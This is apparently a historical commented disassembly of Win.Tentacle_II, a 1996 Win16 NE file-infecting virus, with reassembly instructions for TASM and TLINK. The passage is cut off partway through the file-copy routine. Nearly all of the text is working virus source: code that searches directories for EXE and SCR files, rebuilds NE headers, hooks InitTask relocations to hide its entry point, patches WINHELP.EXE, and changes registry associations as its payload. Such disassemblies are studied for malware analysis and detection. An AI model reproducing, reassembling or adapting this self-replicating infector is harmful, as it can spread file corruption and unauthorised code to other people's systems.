comment %

Name            : Win.Tentacle_II
Alias           : Shell
Author          : ?
Type            : direct acting Win16 NE appender
Size            : 10608 bytes virus body (because of relocation stuff
                 infected files increase for at least 10634 bytes)
Origin          : ?
When            : 1996
Status          : was in the wild (distributed in sex newsgroups in 1996)
Disassembled by : Black Jack
Contact me      : [email protected] | http://www.coderz.net/blackjack

Description:
When the virus gets activated, it starts to search and infect NE EXE files,
first one *.EXE file in the current directory, then two in the C:\WINDOWS
directory, then one in some other possible hardcoded windows directories
(C:\WIN, C:\WIN31, C:\WIN311, C:\WIN95), and then one *.SCR file in the
current dir. While infection the virus creates a temporary file
C:\TENTACLE.$$$ and rebuilds there an infected image of the victim file. When
the infection process is finished this file is copied back over the victim
file and then deleted.
The infection technique is adding another segment with the virus
code at the end of the file. To add its own entry to the segment table, it
checks if there is enough unused room between the end of the NE header tables
and the start of the first segment and aborts infection if not. Then it
shifts back all tables after the segment table (therefore overwriting the
unused fill bytes) and fixes their offsets in the NE header, so that it can
write its own segment descriptor at the end of the segment table. In a similar
way it adds its own entries to the module-reference and the imported-names
table (this is necessary to import two APIs that are used in the payload).
The most interesting feature of the virus is that it was one of the first (if
not the very first) viruses using EPO techniques, that means infecting the
file without modifying its entry point. To do so, it searches the code segment
that contains the entry point for a call to the INITTASK API from KERNEL.DLL,
or, if that one is not found, the THUNRTMAIN API from VBRUN300.DLL, this are
APIs that should be in the very beginning of a program. Then the relocation
item that is associated with the API call is patched in such a way that this
call is redirected to the virus.
While infecting, the virus pays special attention to the WINHELP.EXE files.
This file contains a self-check in Win3.11. And that's why the virus patches
it in a special way, so that this self-check is disabled.
The payload is activated if the virus is run between 1:00am and 1:05am - The
virus drops a file C:\TENTACLE.GIF containing a picture of the violet tentacle
from the classical computer game "the day of the tentacle" and modifies the
registry in such a way that whenever the program associated with .GIF files
is run to view such a file it displays the file dropped by the virus. To do so
it uses two imported APIs RegSetValue and RegQueryValue from SHELL.DLL.
Additionally, if the virus is executed between 1:15am and 2:00am it runs the
opposite effect and undoes the changes in the registry that were done in the
payload.

Reassembly tested with Tasm 3.1 and TLink 3.0 .

       TASM /M tenta2
       TLINK tenta2

first generation sample is a DOS EXE file and infects all suitable EXE files
in the current directory only.

%


virus_size      EQU (offset virus_end - offset virus_start)

model tiny
code
386
org 0

virus_start:
segm_offset     dw      0
segm_phys_size  dw      virus_size
segm_attribs    dw      0001110101010000b ; readable code segment with relocs
segm_virt_size  dw      virus_size


reloc_stuff:
               dd      0000FFFFh       ; pointers that will become relocated
               dd      0000FFFFh       ; must be initialised by 0000:FFFF
               dd      0000FFFFh

; This is the real start of the relocation data:
               dw      3               ; three relocation items

               db      3               ; 32bit far pointer
               db      1               ; imported ordinal
               dw      offset RegQueryValue  ; offset of relocation item
size_of_reloc_stuff1 EQU ($ - reloc_stuff)
               dw      0               ; will become module-reference index
reloc_stuff2    dw      6               ; ordinal RegQueryValue

               db      3               ; 32bit far pointer
               db      1               ; imported ordinal
               dw      offset RegSetValue  ; offset of relocation item
size_of_reloc_stuff2 EQU ($ - reloc_stuff2)
               dw      0               ; will become module-reference index
reloc_stuff3    dw      5               ; ordinal RegSetValue

               db      3               ; 32bit far pointer
               db      1               ; imported ordinal
               dw      offset org_entry; offset of relocation item
size_of_reloc_stuff3 EQU ($ - reloc_stuff3)
               dw      0               ; will become module-reference index
               dw      0               ; will become ordinal of hooked API

virus_entry:
       push    ds                      ; save DS
       pusha                           ; save all registers

       push    ss                      ; DS=SS
       pop     ds

       sub     sp,size stack_frame     ; reserve room on stack
       mov     bp,sp                   ; setup stack frame

       mov     ah,1Ah                  ; set DTA to DS:DX
       lea     dx,[bp.dta]             ; DS:DX=our DTA in our stack frame
       int     21h


       mov     bx,1
       mov     cx,offset empty_string
       mov     dx,offset exe_wildcard
       CALL    infect_directory        ; infect one EXE file in current dir

       mov     bx,2
       mov     cx,offset C_windows
       mov     dx,offset exe_wildcard
       CALL    infect_directory        ; infect two EXE files in C:\WINDOWS

       mov     bx,1
       mov     cx,offset C_win
       mov     dx,offset exe_wildcard
       CALL    infect_directory        ; infect one EXE file in C:\WIN

       mov     bx,1
       mov     cx,offset C_win31
       mov     dx,offset exe_wildcard
       CALL    infect_directory        ; infect one EXE file in C:\WIN31

       mov     bx,1
       mov     cx,offset C_win311
       mov     dx,offset exe_wildcard
       CALL    infect_directory        ; infect one EXE file in C:\WIN311

       mov     bx,1
       mov     cx,offset C_win95
       mov     dx,offset exe_wildcard
       CALL    infect_directory        ; infect one EXE file in C:\WIN95

       mov     bx,1
       mov     cx,offset empty_string
       mov     dx,offset scr_wildcard
       CALL    infect_directory        ; infect one SCR in current dir


       mov     ah,1Ah                  ; set DTA to DS:DX
       mov     dx,7Fh                  ; DX=80h (standart DTA offset)
       inc     dx
       push    ds                      ; save DS
       push    es                      ; DS=ES=PSP (or equivalent) segment
       pop     ds
       int     21h

       pop     ds                      ; restore DS

       mov     ah,2Ch                  ; get the system time to CX/DX
       int     21h                     ; CH=hours, CL=minutes, DH=seconds
                                       ; DL=1/100 seconds

       cmp     cx,100h                 ; is it before 1:00am ?
       JB      restore_host            ; if yes, no payload
       cmp     cx,105h                 ; is it before 1:05am ?
       JB      change_gif_cmdline      ; call payload between 1:00 and 1:05
       cmp     cx,10Fh                 ; is it before 1:15am ?
       JB      restore_host            ; if yes, no payload
       cmp     cx,200h                 ; is it after 2:00am ?
       JAE     restore_host            ; if yes, no payload
       mov     ax,0                    ; restore old gif commandline
       JMP     call_payload            ; call payload between 1:15 and 2:00
change_gif_cmdline:
       mov     ax,1                    ; change gif commandline to our file
call_payload:
       CALL    payload                 ; play with the gif commandline in
                                       ; the win16 "registry".

restore_host:
       add     sp,size stack_frame     ; free room on stack

       popa                            ; restore all registers
       pop     ds                      ; restore DS
       JMP     cs:org_entry            ; jump to the API that was hooked
                                       ; for the EPO while infection.


C_win   db "C:\WIN\", 0


; The following two subroutines are not used in the whole virus. I guess that
; they were just used in the first generation sample, and accidentally left
; in by the virus author. That's why I also used them in the first generation
; carrier of the disassembly.

encrypt_wildcard:
       push    si                      ; save SI
       push    di                      ; save DI
       push    es                      ; save ES

       push    ds                      ; ES=DS
       pop     es

       mov     di,si                   ; DI=SI
       xor     al,al                   ; AL=0
       mov     cx,0FFFFh               ; search whole segment
       repne   scasb                   ; search for the end of the string
       dec     di                      ; go back to the terminating zero
       mov     ax,di                   ; AX=end of string
                                       ; SI=start of string
       sub     ax,si                   ; AX=length of string

       pop     es                      ; restore ES
       pop     di                      ; restore DI

       mov     cx,ax                   ; CX=length of string

encrypt_wildcard_loop:
       inc     byte ptr [si]           ; encrypt one byte from string
       inc     si                      ; next byte
       loop    encrypt_wildcard_loop

       pop     si                      ; restore SI

       RET


encrypt_path:
       push    si                      ; save SI
       push    di                      ; save DI
       push    es                      ; save ES

       push    ds                      ; ES=DS
       pop     es

       mov     di,si                   ; DI=SI
       xor     al,al                   ; AL=0
       mov     cx,0FFFFh               ; search whole segment
       repne   scasb                   ; search for the end of the string
       dec     di                      ; go back to the terminating zero
       mov     ax,di                   ; AX=end of string
                                       ; SI=start of string
       sub     ax,si                   ; AX=length of string

       pop     es                      ; restore ES
       pop     di                      ; restore DI

       mov     cx,ax                   ; CX=length of string

encrypt_path_loop:
       dec     byte ptr [si]           ; encrypt one byte from string
       inc     si                      ; next byte
       loop    encrypt_path_loop

       pop     SI                      ; restore SI

       RET


; ----- DECRYPT PATH STRING -------------------------------------------------
; Entry:
;       SI - pointer to source buffer
;       DI - pointer to destination buffer
; Exit:
;       DI - end of destination buffer

decrypt_path:
       cld                             ; clear direction flag

       push    di                      ; save DI
       push    es                      ; save ES

       push    ds                      ; ES=DS
       pop     es

       mov     di,si                   ; DI=SI
       xor     al,al                   ; AL=0
       mov     cx,0FFFFh               ; search whole segment
       repne   scasb                   ; search for the end of the string
       dec     di                      ; go back to the terminating zero
       mov     ax,di                   ; AX=end of string
                                       ; SI=start of string
       sub     ax,si                   ; AX=length of string

       pop     es                      ; restore ES
       pop     di                      ; restore DI

       mov     cx,ax                   ; CX=length of string
       inc     cx                      ; because the LOOP immedeately follows
       JMP     loop_decrypt_path

decrypt_path_loop:
       lodsb                           ; load a byte from source string
       inc     al                      ; decrypt it
       stosb                           ; store decrypted byte
loop_decrypt_path:
       loop    decrypt_path_loop

       movsb                           ; move terminating zero
       RET



; ----- DECRYPT WINDCARD STRING ---------------------------------------------
; Entry:
;       SI - pointer to source buffer
;       DI - pointer to destination buffer
; Exit:
;       DI - end of destination buffer

decrypt_wildcard:
       cld                             ; clear direction flag

       push    di                      ; save DI
       push    es                      ; save ES

       push    ds                      ; ES=DS
       pop     es

       mov     di,si                   ; DI=SI
       xor     al,al                   ; AL=0
       mov     cx,0FFFFh               ; search whole segment
       repne   scasb                   ; search for the end of the string
       dec     di                      ; go back to the terminating zero
       mov     ax,di                   ; AX=end of string
                                       ; SI=start of string
       sub     ax,si                   ; AX=length of string

       pop     es                      ; restore ES
       pop     di                      ; restore DI

       mov     cx,ax                   ; CX=length of string
       inc     cx                      ; because the LOOP immedeately follows
       JMP     loop_decrypt_wildcard

decrypt_wildcard_loop:
       lodsb                           ; load a byte from source string
       dec     al                      ; decrypt it
       stosb                           ; store decrypted byte
loop_decrypt_wildcard:
       loop    decrypt_wildcard_loop

       movsb                           ; move terminating zero
       RET


C_windows       db "C:\WINDOWS\"
empty_string    db 0


; ----- INFECT A DIRECTORY --------------------------------------------------
;
; INPUT:
; BX - number of files to infect
; CX - ptr to path to infect (encrypted)
; DX - ptr to file wildcard ("*.EXE" or "*.SCR", also encrypted)

infect_directory:
       push    ds                      ; save DS
       push    es                      ; save ES

       push    cs                      ; DS=CS
       pop     ds

       push    ss                      ; ES=SS
       pop     es

       mov     si,cx                   ; SI=ptr to path to decrypt
       lea     di,[bp.full_filespec]   ; DI=ptr to where full wildcard will
                                       ; be stored ("C:\path\*.ext")
       push    cx                      ; save CX (pointer to path)
       CALL    decrypt_path            ; decrypt the path to full_filespec

       dec     di                      ; skip the terminating zero

       mov     si,dx
       CALL    decrypt_wildcard        ; decrypt the wilcard to full_filespec

       pop     si                      ; restore ptr to path in SI
       lea     di,[bp.full_filename]
       CALL    decrypt_path
       dec     di                      ; skip the terminating zero

       pop     es                      ; restore ES
       pop     ds                      ; restore DS

       mov     ah,4Eh                  ; find first file
       mov     cx,2                    ; normal and hidden files
       lea     dx,[bp.full_filespec]
       JMP     do_file_search

do_file:
       push    es                      ; save ES
       push    di                      ; save DI

       push    ss                      ; ES=SS
       pop     es

       cld                             ; clear direction flag
       lea     si,[bp.dta+1Eh]         ; SI=ptr to found filename in DTA
                                       ; DI points after the path in
                                       ; full_filename
       mov     cx,13                   ; 8.3 filename (zero terminated)
       rep     movsb                   ; copy filename

       pop     di                      ; restore DI
       pop     es                      ; restore ES

       test    byte ptr [bp.dta+15h],1 ; read only attribute set?
       JZ      not_readonly

       push    dx                      ; save DX

       mov     ax,3000h                ; AX=4301h (set file attributes)
       add     ax,1301h
       xor     ch,ch                   ; set high byte of attributes to zero
       mov     cl,[bp.dta+15h]         ; CL=low byte of attributes
;*      and     cx,0FFFEh               ; delete read-only attribute
       db      83h,0E1h,0FEh           ; fixup - byte match
       lea     dx,[bp.full_filename]   ; DS:DX=ptr to filename (with path)
       int     21h

       pop     dx                      ; restore DX

       JC      findnext                ; error? if so, search on

not_readonly:
       CALL    infect_file             ; infect the file!
       JC      findnext                ; on error while infecting search on!
       dec     bx                      ; decrement infection counter
       JZ      done_directory          ; enough files infected?
findnext:
       mov     ah,4Fh                  ; find next file

do_file_search:
       int     21h                     ; do the file search
       JNC     do_file                 ; if no error happened, process file

done_directory:
       RET


C_win31         db "C:\WIN31\", 0

exe_wildcard    db "*.EXE", 0
scr_wildcard    db "*.SCR", 0


; ----- INFECT THE FILE -----------------------------------------------------

infect_file:
       pushad                          ; save all 32bit registers

       mov     ax,3D00h                ; open file read-only
       lea     dx,[bp.full_filename]   ; DS:DX=pointer to filename
       int     21h
       JC      exit_infect             ; exit on error
       mov     bx,ax                   ; file handle to BX
       mov     [bp.source_handle],ax   ; save file handle

       CALL    get_file_date_time_size

       mov     ah,3Fh                  ; read DOS header
       mov     cx,64                   ; DOS header size
       lea     dx,[bp.rw_buffer]       ; Load effective addr
       int     21h
       JC      close_file

       mov     ax,word ptr [bp.rw_buffer]  ; AX=exe marker
       dec     ax                      ; anti-heuristic
       cmp     ax,"ZM"-1               ; EXE file?
       JNE     close_file              ; close if not

;*      cmp     word ptr [bp.rw_buffer+0Ch],0FFFEh  ; maxmem item in DOS
                                               ; header is infection marker
       db      81h,0BEh,0A9h,0,0FEh,0FFh       ; fixup - byte match
       JE      close_file              ; if equal, file is already infected

;*      cmp     word ptr [bp.rw_buffer+0Ch],0FFFFh  ; maxmem must be standart
       db      81h,0BEh,0A9h,0,0FFh,0FFh       ; fixup - byte match
       JNE     close_file                      ; if not, don't infect

       mov     word ptr [bp.rw_buffer+0Ch],0FFFEh  ; mark as infected
       cmp     word ptr [bp.rw_buffer+18h],40h ; new exe file?
       JB      close_file                      ; if not, then close

; set tmp_filename to "C:\TENTACLE.$$$", 0
       mov     dword ptr [bp.tmp_filename+6],0F59E6305h
       add     dword ptr [bp.tmp_filename+6],56A4DE4Fh
       mov     word ptr [bp.tmp_filename+0],":C"
       mov     dword ptr [bp.tmp_filename+10],"$$.E"
       mov     dword ptr [bp.tmp_filename+2],0B1704BC2h
       add     dword ptr [bp.tmp_filename+2],9CD5089Ah
       mov     word ptr [bp.tmp_filename+14],"$"

       mov     ah,3Ch                  ; create temporary file
       mov     cx,2                    ; with hidden attributes
       lea     dx,[bp.tmp_filename]    ; DS:DX=ptr to filename
       int     21h
       JC      close_file              ; exit on error
       mov     [bp.dest_handle],ax     ; save temp file handle

       mov     ah,40h                  ; write DOS header of temp file
       mov     bx,[bp.dest_handle]     ; BX=file handle
       mov     cx,64                   ; CX=length to write
       lea     dx,[bp.rw_buffer]       ; DS:DX=address write buffer
       int     21h
       JC      close_tmp_file

       mov     ecx,dword ptr [bp.rw_buffer+3Ch]  ; ECX=new exe header offset
       mov     [bp.new_header_offs],ecx; store it
       sub     ecx,64                  ; size of dos header (already written)
       CALL    copy_file_block         ; copy rest of DOS stub
       JC      close_tmp_file

       mov     bx,[bp.source_handle]   ; BX=handle of victim file
       mov     ah,3Fh                  ; read NE header
       mov     cx,64                   ; size of NE header
       lea     dx,[bp.rw_buffer]       ; DX=offset of buffer
       int     21h
       JC      close_tmp_file

       mov     ax,word ptr [bp.rw_buffer]  ; AX=new exe marker
       inc     ax                      ; anti-heuristic
       cmp     ax,"EN"+1               ; NE exe file?
       JNE     close_tmp_file          ; if not, then abort infection

       mov     cl,byte ptr [bp.rw_buffer+32h]  ; CL=alignment shift
       mov     eax,1                   ; EAX=1
       shl     eax,cl                  ; EAX=alignment unit
       mov     [bp.alignment_unit],eax ; save it
       mov     cl,byte ptr [bp.rw_buffer+32h]  ; CL=alignment shift
       mov     eax,[bp.file_size]      ; EAX=filesize
       shr     eax,cl                  ; EAX=filesize in alignment units
       mov     [bp.new_sect_descr+0],ax  ; save it as offset for the new
                                       ; segment that is going to be created
       mov     eax,[bp.alignment_unit] ; EAX=alignment unit
       dec     eax                     ; set all bits below alignemt
       test    eax,[bp.file_size]      ; filesize already aligned?
       JZ      filesize_already_aligned
       inc     word ptr [bp.new_sect_descr+0]  ; if not, round it up
filesize_already_aligned:
       mov     ax,cs:segm_phys_size    ; copy physical size of segment
       mov     [bp.new_sect_descr+2],ax
       mov     ax,cs:segm_attribs      ; copy segment attributes
       mov     [bp.new_sect_descr+4],ax
       mov     ax,cs:segm_virt_size    ; copy virutal size of segment
       mov     [bp.new_sect_descr+6],ax

       cmp     word ptr [bp.rw_buffer+22h],40h ;is the segment table directly
                                       ; after the NE header (standart case)?
       JNE     close_tmp_file          ; if not, better not infect the file

       CALL    EPO
       JC      close_tmp_file
       mov     [bp.module_ordinal],eax ; save module index and ordinal
       mov     [bp.our_reloc_offs],edx ; save offset of relocation item

       xor     eax,eax                 ; EAX=0
       mov     ax,word ptr [bp.rw_buffer+22h]  ; EAX=offset of segment
                                               ; descriptor table from NE hdr
       add     eax,[bp.new_header_offs]; EAX=offset of segment descriptor
                                       ; table from file start

       push    eax                     ; CX:DX=EAX
       pop     dx
       pop     cx
       mov     ax,4200h                ; go to segment descriptor table
       int     21h

       mov     ah,3Fh                  ; read the offset of the first segment
       mov     cx,2                    ; read a word
       lea     dx,[bp.first_segm_offs] ; DX=offset read buffer
       int     21h
       JC      close_tmp_file

       mov     ax,4201h                ; move file pointer relative to
                                       ; current position
       mov     cx,-1                   ; CX:DX=-2 (new filepointer position)
       mov     dx,-2
       int     21h                     ; set the filepointer back to the
                                       ; start of the segment table
       JC      close_tmp_file

       xor     eax,eax                 ; EAX=0
       mov     ax,word ptr [bp.first_segm_offs]  ; EAX=aligned file offset
                                                 ; of first segment
       mul     [bp.alignment_unit]     ; EAX=file offset of the 1st segment
       mov     [bp.first_segm_offs],eax; save it

       mov     ebx,dword ptr [bp.rw_buffer+2Ch]
       ; EBX=beginning of the nonresident-name table (relative to filestart).
       ; This should be the last table in the NE header.

       xor     ecx,ecx                         ; ECX=0
       mov     cx,word ptr [bp.rw_buffer+20h]  ; ECX=size of nonresident name
                                               ; table in bytes
       add     ebx,ecx                 ; EBX=size of NE header + all tables
       mov     dword ptr [bp.end_of_NE_hdr],ebx

       sub     eax,ebx                 ; EAX=free room between the end of
                                       ; the NE header and the first segment

;*      cmp     eax,10h                 ; is there enough room left so we can
                                       ; add our stuff (a segment descriptor,
                                       ; a module reference and an imported
                                       ; name) ?
       db      66h,83h,0F8h,10h        ; fixup - byte match
       JL      close_tmp_file          ; if not, we can't infect the file

       mov     ax,word ptr [bp.rw_buffer+1Ch]  ; segment count
       inc     ax                              ; add another segment
       mov     word ptr [bp.rw_buffer+1Ch],ax  ; save new segment count
       mov     word ptr [bp.new_entry_CS],ax   ; new entry segment index
       mov     word ptr [bp.new_entry_IP],offset virus_entry   ; set new
                                                               ; entry IP
       and     byte ptr [bp.rw_buffer+37h],011110111b  ; windows flags:
                                                       ; kill gangload area

; fixup the offsets of the other NE header tables (all are after the segment
; table and therefore shifted back). It is assumed that all tables are in the
; same order in the file as their offsets are stored in the NE header (except
; for the entry table, which should be the second last).

       add     word ptr [bp.rw_buffer+4h],16   ; entry table
       add     word ptr [bp.rw_buffer+24h],8   ; resource table
       add     word ptr [bp.rw_buffer+26h],8   ; resident-name table
       add     word ptr [bp.rw_buffer+28h],8   ; module-reference table
       add     word ptr [bp.rw_buffer+2Ah],10  ; imported-name table
       add     dword ptr [bp.rw_buffer+2Ch],16 ; nonresident-name table

       inc     word ptr [bp.rw_buffer+1Eh]     ; one more entry in
                                               ; module-reference table

       mov     ah,40h                  ; write modified NE header to tmp file
       mov     bx,[bp.dest_handle]     ; BX=temp file handle
       mov     cx,64                   ; NE header size
       lea     dx,[bp.rw_buffer]       ; DX=write buffer offset
       int     21h
       JC      close_tmp_file

       xor     ecx,ecx                 ; ECX=0
       mov     cx,word ptr [bp.rw_buffer+1Ch]  ; EAX=number of segments
       dec     cx                      ; ECX=old number of segments
       shl     cx,3                    ; shl 3 means mul 8 (size of a
                                       ; segment descriptor)
                                       ; ECX=old size of segm descriptor tbl
       CALL    copy_file_block         ; copy segment descriptor table
       JC      close_tmp_file

       mov     ah,40h                  ; write our own segment descriptor
                                       ; to the file
       mov     cx,8                    ; size of a segment descriptor
       lea     dx,[bp.new_sect_descr]  ; DX=offset of write buffer
       int     21h
       JC      close_tmp_file

       xor     ecx,ecx                 ; ECX=0
       mov     cx,word ptr [bp.rw_buffer+2Ah]  ; ECX=offset of imported-name
                                               ; table from NE header
       mov     ax,word ptr [bp.rw_buffer+1Ch]  ; entries in segment table
       dec     ax                      ; AX=old number of segments
       shl     ax,3                    ; multiply with 8 (size of a
                                       ; segment descriptor)
       add     ax,word ptr [bp.rw_buffer+22h]  ; add offset of segment table
                                               ; (from NE header)
                                       ; AX=offset end of segment table
                                       ; relative to the NE header
       sub     cx,ax                   ; CX=length of stuff between the
                                       ; segment table and the imported-name
                                       ; table (resource, resident-name and
                                       ; module-reference tables)
       sub     cx,10                   ; because the imported-name table
                                       ; offset has already been increased
                                       ; by 10 before
       CALL    copy_file_block         ; copy all those tables
       JC      close_tmp_file

       mov     ax,word ptr [bp.rw_buffer+4]    ; offset entry table (from
                                               ; NE header)
       sub     ax,6                    ; AX=end of old imported-name table

       sub     ax,word ptr [bp.rw_buffer+2Ah]  ; ECX=offset of imported-name
                                               ; table from NE header
       mov     word ptr [bp.tmp_buffer],ax     ; AX=offset into imported-name
                                               ; table (the one of the module
                                               ; name we're going to add)

       mov     ah,40h                  ; append our new entry into the
                                       ; module reference table, the offset
                                       ; of the new module name
       mov     cx,2                    ; write one word
       lea     dx,[bp.tmp_buffer]      ; DS:DX=pointer to write buffer
       int     21h
       JC      close_tmp_file

       xor     ecx,ecx                 ; ECX=0
       mov     cx,word ptr [bp.rw_buffer+4] ; offset entry table (from
                                            ; NE header)
       sub     cx,6                    ; CX=end of old imported-name table
       sub     cx,word ptr [bp.rw_buffer+2Ah]  ; offset of imported-names
                                               ; table from NE header
       CALL    copy_file_block         ; copy imported-name table
       JC      close_tmp_file

       mov     ah,40h                  ; append our module name to the
                                       ; imported-name table
       mov     cx,6                    ; length to write
       mov     word ptr [bp.tmp_buffer+4],"LL"         ; create the string
       mov     dword ptr [bp.tmp_buffer],6DBBFE87h     ; 5, "SHELL"
       add     dword ptr [bp.tmp_buffer],0D78C547Eh    ; in tmp_buffer
       lea     dx,[bp.tmp_buffer]      ; DS:DX=pointer to write buffer
       int     21h
       JC      close_tmp_file

       mov     cx,word ptr [bp.end_of_NE_hdr]  ; end of NE header+all tables
                                               ; (offset from filestart
       sub     cx,word ptr [bp.rw_buffer+4]    ; offset entry table (from
                                               ; NE header)
       add     cx,word ptr [bp.new_header_offs]; BUG! this should be a sub,
                                               ; no add! but because the
                                               ; filepointer is set new
                                               ; immedeately afterwards, this
                                               ; never causes any problems.
       CALL    copy_file_block         ; copy the rest of the header
                                       ; (entry and nonresident-name tables)
       JC      close_tmp_file

       mov     ax,4200h                ; set filepointer in the destination
                                       ; (temp) file to the start of the
                                       ; first segment.
       push    dword ptr [bp.first_segm_offs]
       pop     dx                      ; CX:DX=first segment offset
       pop     cx
       int     21h
       JC      close_tmp_file

       mov     ax,4200h                ; set filepointer in the source file
                                       ; to the start of the first segment
       mov     bx,[bp.source_handle]
       push    dword ptr [bp.first_segm_offs]
       pop     dx                      ; CX:DX=first segment offset
       pop     cx
       int     21h
       JC      close_tmp_file

       mov     ecx,0FFFFFFFFh          ; whole file body
       CALL    copy_file_block         ; copy the file body (all segments
                                       ; and relocations)
       JC      close_tmp_file

       xor     eax,eax                 ; EAX=0
       mov     ax,[bp.new_sect_descr+0]; EAX=aligned offset of our segment
       mov     cl,byte ptr [bp.rw_buffer+32h]  ; CL=alignment shift
       shl     eax,cl                  ; EAX=offset of our segment in bytes

       push    eax                     ; CX:DX=EAX
       pop     dx
       pop     cx
       mov     ax,4200h                ; go to our segment offset in file
       mov     bx,[bp.dest_handle]     ; BX=temp file handle
       int     21h
       JC      close_tmp_file

       mov     ah,40h                  ; write virus body to file
       mov     cx,(RegQueryValue-virus_start) ; write whole virus body
                                       ; excluding the three pointers that
                                       ; must be relocated and therefore
                                       ; initialised with 0000:FFFF
       mov     dx,offset virus_start   ; DX=offset write buffer=virus body
       push    ds                      ; save DS
       push    cs                      ; DS=CS
       pop     ds
       int     21h

       pop     ds                      ; restore DS
       JC      close_tmp_file

       mov     ah,40h                  ; write relocation stuff
       mov     cx,size_of_reloc_stuff1 ; size of relocation stuff
       mov     dx,offset reloc_stuff   ; DX=offset write buffer
       push    ds                      ; save DS
       push    cs                      ; DS=CS
       pop     ds
       int     21h

       pop     ds                      ; restore DS
       JC      close_tmp_file

       mov     ah,40h                  ; write module index
       mov     cx,2                    ; one word
       lea     dx,ss:[bp.rw_buffer+1Eh]; number of entries in module
                                       ; reference table - our module
                                       ; reference is the last
       int     21h
       JC      close_tmp_file

       mov     ah,40h                  ; write relocation stuff
       mov     cx,size_of_reloc_stuff2 ; size of relocation stuff
       mov     dx,offset reloc_stuff2  ; DX=offset write buffer
       push    ds                      ; save DS
       push    cs                      ; DS=CS
       pop     ds
       int     21h

       pop     ds                      ; restore DS
       JC      close_tmp_file

       mov     ah,40h                  ; write module index
       mov     cx,2                    ; one word
       lea     dx,ss:[bp.rw_buffer+1Eh]; number of entries in module
                                       ; reference table - our module
                                       ; reference is the last
       int     21h
       JC      close_tmp_file

       mov     ah,40h                  ; write relocation stuff
       mov     cx,size_of_reloc_stuff3 ; size of relocation stuff
       mov     dx,offset reloc_stuff3  ; DX=offset write buffer
       push    ds                      ; save DS
       push    cs                      ; DS=CS
       pop     ds
       int     21h

       pop     ds
       JC      close_tmp_file

       mov     ah,40h                  ; write the reference to the API
                                       ; we hooked for the EOP
       mov     cx,2                    ; CX=4 (size to write)
       shl     cx,1                    ; ???
       lea     dx,[bp.module_ordinal]  ; DS:DX=pointer to write buffer
       int     21h
       JC      close_tmp_file

       push    [bp.our_reloc_offs]     ; CX:DX=offset of the relocation item
       pop     dx                      ; that has to be modifies
       pop     cx
       mov     ax,4200h                ; set filepointer relative to
       int     21h                     ; filestart
       JC      close_tmp_file

       mov     ah,40h                  ; write relocation type
       mov     cx,2                    ; one word
       mov     word ptr [bp.tmp_buffer],3 ; 32bit far ptr/internal reference
       lea     dx,[bp.tmp_buffer]      ; DS:DX=pointer to write buffer
       int     21h
       JC      close_tmp_file

       mov     ax,4201h                ; set new file pointer relative to
                                       ; current position
       mov     cx,0                    ; CX:DX=2 (skip the offset of the
       mov     dx,2                    ; dword that must be relocated)
       int     21h
       JC      close_tmp_file

       mov     ah,40h                  ; write a far pointer to the virus
                                       ; entrypoint.
       mov     cx,2                    ; CX=4 (size to write)
       shl     cx,1                    ; ???
       lea     dx,[bp.new_entry_CS]    ; DS:DX=pointer to write buffer
       int     21h
       JC      close_tmp_file

       cmp     dword ptr [bp.dta+24h],"XE.P"  ; check the filename of the
       JNE     not_winhelp              ; victim for "WINHELP.EXE" and try to
       mov     eax,dword ptr [bp.dta+20h]         ; patch it if the filename matches
       add     eax,98F5548Ah
       cmp     eax,"LEHN"+98F5548Ah
       JNE     not_winhelp
       cmp     word ptr [bp.dta+28h],"E"
       JNE     not_winhelp
       cmp     word ptr [bp.dta+1Eh],"IW"
       JNE     not_winhelp
       CALL    patch_winhelp
not_winhelp:

       mov     ah,3Eh                  ; close temp file
       int     21h

       mov     bx,[bp.source_handle]   ; BX=victim file handle
       mov     ah,3Eh                  ; close victim file
       int     21h

       lea     dx,[bp.tmp_filename]    ; DS:DX=pointer to temp file name
       mov     ax,3D00h                ; reopen temp file read-only
       int     21h

       JC      delete_tmp_file
       mov     [bp.source_handle],ax   ; save handle

       mov     ah,3Ch                  ; truncate victim file
       mov     cx,0                    ; no attributes
       lea     dx,[bp.full_filename]   ; DS:DX=ptr to full victim filename
       int     21h
       JC      delete_tmp_file

       mov     bx,ax                   ; handle to BX
       mov     [bp.dest_handle],ax     ; save handle

       mov     ecx,0FFFFFFFFh          ; copy the whole temp file over the
       CALL    copy_file_block         ; victim file

       mov     ax,3000h                ; AX=5701h - set file date and time
       add     ax,2701h
       mov     bx,[bp.dest_handle]     ; BX=handle of victim file
       mov     dx,[bp.file_date]       ; CX=old file date
       mov     cx,[bp.file_time]       ; DX=old file time
       int     21h

       mov     ah,3Eh                  ; close victim file
       int     21h

       mov     bx,[bp.source_handle]   ; BX=handle of temp file
       mov     ah,3Eh                  ; close temp file
       int     21h

       lea     dx,[bp.tmp_filename]    ; DS:DX=pointer to temp file name
       mov     ah,41h                  ; delete temp file
       int     21h

       clc                             ; clear carry flag (indicate success)
       JMP     exit_infect

close_tmp_file:
       mov     bx,[bp.dest_handle]     ; BX=handle of temp file
       mov     ah,3Eh                  ; close temp file
       int     21h

delete_tmp_file:
       lea     dx,[bp.tmp_filename]    ; DS:DX=pointer to temp file name
       mov     ah,41h                  ; delete temp file
       int     21h

close_file:
       mov     bx,[bp.source_handle]   ; BX=handle of victim file
       mov     ah,3Eh                  ; close fictim file
       int     21h

       stc                             ; set carry flag (indicate error)

exit_infect:
       popad                           ; restore all 32bit registers
       RET


C_win311 db "C:\WIN311\", 0


; ----- GET DATE, TIME AND SIZE OF THE OPENED FILE --------------------------

get_file_date_time_size:
       push    cx                      ; save CX and DX
       push    dx

       mov     ax,5700h                ; get date and time
       int     21h

       mov     [bp.file_date],dx       ; save date
       mov     [bp.file_time],cx       ; save time

       xor     cx,cx                   ; CX:DX=0 (distance to move)
       xor     dx,dx
       mov     ax,4202h                ; move filepointer relative to
       int     21h                     ; end of file
                                       ; in DX:AX the new filpointer is
                                       ; returned (filesize in this case)

       mov     word ptr [bp.file_size+2],dx    ; save filesize
       mov     word ptr [bp.file_size],ax

       xor     cx,cx                   ; DX:CX=0 (distance to move)
       xor     dx,dx
       mov     ax,4200h                ; move filepointer relative to
       int     21h                     ; beginning of file

       pop     dx                      ; restore DX and CX
       pop     cx

       RET


C_win95 db "C:\WIN95\", 0


; ----- COPY ECX BYTES FROM VICTIM FILE TO TEMP FILE ------------------------

copy_file_block:
       pushad                          ; save all 32bit registers
       sub     sp,256                  ; allocate a 256 byte buffer from stack
       mov     [bp.bytes_to_copy],ecx  ; save length of block to copy
       mov     dx,sp                   ; DX=offset buffer

copy_file_block_loop:
       cmp     [bp.bytes_to_copy],0    ; whole block moved?
       JE      copy_file_block_done    ; then we're done
